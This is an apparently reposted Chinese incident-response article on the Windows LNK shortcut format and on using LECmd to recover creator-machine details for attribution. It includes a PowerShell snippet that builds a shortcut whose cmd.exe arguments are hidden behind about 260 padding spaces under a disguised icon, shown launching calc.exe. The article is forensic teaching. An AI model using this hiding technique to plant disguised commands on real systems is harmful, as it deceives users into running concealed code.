搜索

[18915] 2021-08-23_应急响应之Lnk文件分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-23_应急响应之Lnk文件分析 应 急 响 应 之 L n k 文 件 分 析 原 创   花 十 一 一   h u a s e c   2 0 2 1 - 0 8 - 2 3 收 录 于 话 题   # 应 急 响 应   , 2 6 个 “   L N K 是 M i c r o s o f t W i n d o w s 用 于 指 向 可 执 行 文 件 或 应 用 程 序 的 快 捷 方 式 文 件 的 扩 展 名 。 L N K 文 件 通 常 用 于 创 建 开 始 菜 单 和 桌 面 快 捷 方 式 。 “ L N K ” 是 “ L i n k ” 的 缩 写 ， “ . l n k ” 后 缀 即 使 勾 选 显 示 已 知 后 缀 名 也 会 自 动 隐 藏 ， 而 且 该 文 件 可 以 通 过 更 改 图 标 来 伪 装 成 合 法 文 档 。 本 文 介 绍 L N K 文 件 的 S h e l l   L i n k B i n a r y 文 件 格 式 ， 并 分 析 如 何 检 测 恶 意 的 快 捷 方 式   ( L N K ) 。 ” 0 1 — S h e l l   L i n k   B i n a r y S h e l l   L i n k   B i n a r y 包 含 用 于 访 问 另 一 个 数 据 对 象 的 信 息 ， 文 件 扩 展 名 为 “ . L N K ” 。 目 的 是 通 过 另 一 个 对 象 访 问 数 据 对 象 ， 其 存 储 了 对 目 标 数 据 对 象 的 某 种 形 式 的 引 用 。 S h e l l   l i n k   B i n a r y 由 以 下 五 部 分 组 成 ： S H E L L _ L I N K _ H E A D E R 包 含 有 关 目 标 文 件 的 关 键 信 息 、 与 该 文 件 相 关 的 属 性 以 及 其 他 结 构 ， 例 如 L i n k F l a g s ， 用 于 标 识 其 他 可 选 标 头 （ 结 构 ） 的 存 在 。 例 如 ， 要 使   L I N K T A R G E T _ I D L I S T   结 构 存 在 ， 必 须 在 L i n k F l a g s   子 结 构 中 设 置 H a s L i n k T a r g e t I D L i s t 属 性 。 L I N K T A R G E T _ I D L I S T ， ， 如 果 在 L i n k F l a g s 下 设 置 H a s L i n k T a r g e t I D L i s t ， L I N K T A R G E T _ I D L I S T 存 储 对 文 件 系 统 上 目 标 位 置 的 引 用 ， 但 该 引 用 不 是 文 件 绝 对 路 径 （ C : t e s t 1 . t x t ） ， 相 反 使 用 的 是 W i n d o w s   S h e l l   N a m e S p a c e ， 通 过 I S h e l l F o l d e r 接 口 定 位 文 件 夹 ， 每 个 文 件 夹 或 者 文 件 都 维 护 自 己 的 I t e m I D L i s t ， 里 面 记 录 了 它 们 的 所 有 属 性 ， 比 如 文 件 名 、 类 型 、 大 小 、 修 改 时 间 。 该 I D L i s t 进 一 步 封 装 在 L i n k T a r g e t I d L i s t 结 构 中 。 L i n k I n f o ， ， 如 果 在 L i n k F l a g s 结 构 体 中 设 置 了 H a s L i n k I n f o ， 则 会 填 充 L i n k I n f o 结 构 体 ， 包 含 用 于 解 析 链 接 目 标 和 标 识 其 位 置 的 信 息 ， 例 如 驱 动 器 卷 、 序 列 号 、 标 签 和 本 地 路 径 。 S t r i n g D a t a ， ， S t r i n g D a t a 部 分 主 要 由 S h e l l L i n k H e a d e r 中 的 L i n k F l a g s 结 构 控 制 ， 例 如 如 果 在 L i n k F l a g s 中 设 置 了 H a s W o r k i n g D i r 和 H a s R e l a t i v e P a t h 属 性 ， 就 能 够 在 这 个 结 构 中 看 到 链 接 目 标 的 工 作 目 录 和 相 对 路 径 。 另 一 个 重 要 的 属 性 是 H a s A r g u m e n t s ， 它 指 定 要 执 行 链 接 的 命 令 行 参 数 。 E x t r a D a t a 包 含 关 于 L n k 文 件 的 所 有 补 充 信 息 。 例 如 ： E n v i r o n m e n t V a r i a b l e D a t a B l o c k 结 构 体 可 以 查 看 L n k 文 件 的 环 境 变 量 ， T r a c k e r D a t a B l o c k 可 以 帮 助 识 别 目 标 文 件 是 否 被 复 制 或 移 动 ， 还 可 以 返 回 目 标 最 后 存 在 的 M a c h i n e I D ( N e t B I O S 名 称 ) 和 M A C 地 址 等 信 息 。
更 多 信 息 参 见 h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / o p e n s p e c s / w i n d o w s _ p r o t o c o l s / m s - s h l l i n k / 7 4 7 6 2 9 b 3 - b 5 b e - 4 5 2 a - 8 1 0 1 - b 9 a 2 e c 4 9 9 7 8 c 0 2 — L E c m d 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / E r i c Z i m m e r m a n / L E C m d 使 用 方 法 ： 字 段 介 绍 ： T r a c k e r   d a t a b a s e   b l o c k   包 含 了 攻 击 者 机 器 的 物 理 信 息 :     M a c h i n e   I D :   d e s k t o p - 0 u 9 o 9 2 5     M A C   A d d r e s s :   0 0 : 0 c : 2 9 : 0 d : 9 2 : 4 b     M A C   V e n d o r :   V M W A R E     C r e a t i o n :   2 0 2 1 - 0 1 - 2 8   0 3 : 2 8 : 5 5 针 对 恶 意 的 L N K 类 型 文 件 ， 可 以 给 我 们 提 供 L N K 滥 用 方 式 ， 创 建 L N K 的 主 机 信 息 （ 如 M A C ， 磁 盘 串 号 ， 主 机 名 ） 等 信 息 ， 这 些 信 息 对 于 样 本 溯 源 和 提 取 同 源 样 本 来 说 十 分 有 用 。 0 3 — 构 造 恶 意 L n k 文 件 分 析 一 般 情 况 下 ， 攻 击 者 会 使 用 L n k 文 件 的 命 令 行 来 实 现 一 些 恶 意 操 作 ， 例 如 ： 点 击 L n k 文 件 打 开 计 算 器 > L E C m d . e x e   - f " C : U s e r s P u b l i c D e s k t o p W i r e s h a r k . l n k " $ f i l e   =   G e t - C o n t e n t   " C : U s e r s a d m i n D e s k t o p t e s t . t x t " $ b l a n k _ s p a c e   =   '             ' $ W s h S h e l l   =   N e w - O b j e c t   - c o m O b j e c t   W S c r i p t . S h e l l
注 ： 通 过 修 改 $ b l a n k _ s p a c e 的 空 格 数 量 可 以 实 现 隐 藏 p a y l o a d 参 数 C : U s e r s a d m i n D e s k t o p t e s t . t x t 文 件 中 写 入 / c   s t a r t   c a l c . e x e 执 行 命 令 后 生 成 的 t e s t . l n k 文 件 格 式 如 图 ， 2 6 0 个 空 格 字 符 后 面 接 着 为 p a y l o a d 代 码 查 看 文 件 参 数 ， 显 示 如 图 ， 均 被 空 格 字 符 填 充 ， p a y l o a d 成 功 隐 藏 $ S h o r t c u t   =   $ W s h S h e l l . C r e a t e S h o r t c u t ( " C : U s e r s a d m i n D e s k t o p t e s t . l n k " ) $ S h o r t c u t . T a r g e t P a t h   =   " % S y s t e m R o o t % s y s t e m 3 2 c m d . e x e " $ S h o r t c u t . I c o n L o c a t i o n   =   " % S y s t e m R o o t % S y s t e m 3 2 S h e l l 3 2 . d l l , 2 2 " $ S h o r t c u t . A r g u m e n t s   =   $ b l a n k _ s p a c e   +   $ f i l e $ S h o r t c u t . S a v e ( )
运 行 t e s t . l n k ， 弹 出 计 算 器 ， p a y l o a d 成 功 执 行 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理